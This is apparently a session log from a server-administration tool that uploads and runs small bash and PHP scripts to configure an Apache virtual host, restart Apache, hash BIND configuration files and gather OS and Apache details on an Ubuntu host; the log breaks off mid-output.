	mkdir -p /var/log/apache2/persianchurch
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2026-03-11 18:35:53: 

chmod 755 /tmp/pkp924070; /tmp/pkp924070; rm /tmp/pkp924070

2026-03-11 18:35:53: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf
file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-03-11 18:35:53: 

PUT: /tmp/pkp433942

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-11 18:35:53: 

chmod 755 /tmp/pkp433942; /tmp/pkp433942; rm /tmp/pkp433942

2026-03-11 18:35:53: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-11 18:35:53: Establishing a connection
2026-03-11 18:35:54: 

PUT: /tmp/pkp732130

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-11 18:35:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp732130; rm /tmp/pkp732130'

2026-03-11 18:35:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-11 18:51:20: Establishing a connection
2026-03-11 18:51:25: Establishing a connection
2026-03-11 18:51:25: Performing Server Status
2026-03-11 18:51:25: 

PUT: /tmp/pkp780525

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-11 18:51:25: 

chmod 755 /tmp/pkp780525; /tmp/pkp780525; rm /tmp/pkp780525

2026-03-11 18:51:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-11 18:51:25: 

PUT: /tmp/pkp369179

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-11 18:51:25: 

chmod 755 /tmp/pkp369179; /tmp/pkp369179; rm /tmp/pkp369179

2026-03-11 18:51:26: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 733369
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      733369  0.0  0.9 324692 39744 ?        Ss   Mar10   0:12 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-11 18:51:26: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
